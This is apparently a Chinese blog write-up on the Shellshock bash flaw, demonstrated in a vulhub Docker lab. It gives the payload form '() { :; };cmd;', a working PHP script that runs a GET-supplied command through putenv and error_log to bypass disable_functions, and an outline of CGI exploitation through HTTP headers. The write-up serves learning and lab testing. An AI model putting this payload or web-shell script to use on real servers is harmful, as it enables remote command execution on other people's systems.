序
這是前天就想寫的,但是...是我懶了.
漏洞信息
小於4.3版本的bash會將以"(){"開頭的環境變量解析爲函數,解析後bash不會退出,會繼續執行.故而可構造payload達到命令執行.
用的vulhub docker環境.其他環境搭建網上有很多了,我就不再寫了.
本地利用
payload: 環境變量='() { :; };cmd;' 另起一進程.如下
環境變量定義完畢後,必須要另起一進程(比如bash)纔會觸發(bash啓動時會載入環境變量並解析,而bash在啓動後設置新的環境變量並不會立即解析).
可以使用env查看環境變量設置情況
這裏可以看到兩次使用env命令.
第一次在使用env命令的同時定義NEW_VAR環境變量,可以在env結果中看到其存在.
第二次先定義NEW_VAR再調用env,但是env中沒有NEW_VAR.
這是因爲bash中每一行命令視作一個子進程,直接定義的環境變量只在那一個子進程中存在.
使用export定義的環境變量則可在當前shell中存在,如下.
使用export導入的惡意命令只會在當前進程創建子進程的時候觸發,而當前進程的子進程創建子進程(孫子進程)的時候是不會觸發的.
可以看到shellshock漏洞的利用還是很簡單的.設置惡意環境變量,想辦法打開一個子進程即可.
繞過disable_functions
上面可以看到,在存在shellshock漏洞的服務器上,如果我們能夠設置惡意環境變量再打開一個子進程便可以執行任意命令.
只要php做到設置環境變量(putenv)與打開子進程(mail,error_log等函數),那麼php就可以利用這個漏洞.
寫一個php文件,運行如下
也可以用mail函數 ,如下
php -n選項是不使用php.ini(這裏是爲了演示mail函數,就無視一下disable_functions)
成功繞過.
<?php
/**
*Author:4ut15m
*Filename:shellshock.php
*/
$cmd = $_GET['cmd'] . " > data.txt 2>&1";
@putenv("MY_CMD=() { :; };$cmd");
error_log("fine",1); //mail也可.
echo file_get_contents("data.txt");
?>
CGI
這個不是本文重點,簡單說一下利用就好.
對於CGI程序來說,它會繼承系統環境變量,而當http服務器調用CGI程序後,CGI程序又會多出以下環境變量(很多,我只列與客戶端相關的一部分,與http報頭含義差不多).
REMOTE_ADDR:客戶機主機名
REMOTE_HOST:客戶機IP地址
ACCEPT:客戶端希望接收的數據類型
ACCEPT_ENCODING:客戶機支持的解碼方式
ACCEPT_LANGUAGE:客戶機可接受語言的ISO代碼
AUTORIZATION:被證實了的用戶
REFFERER:從哪訪問過來的
USER_AGENT:客戶端瀏覽器的信息
可以看到CGI程序接收這些數據都是以環境變量的形式接收處理的. 並且CGI程序處理也會調用bash,如下程序.
由此,我們也可以構造請求(修改請求頭就等於是修改環境變量)通過這個cgi程序執行命令,利用如下.
可以直接用curl
也可抓包再改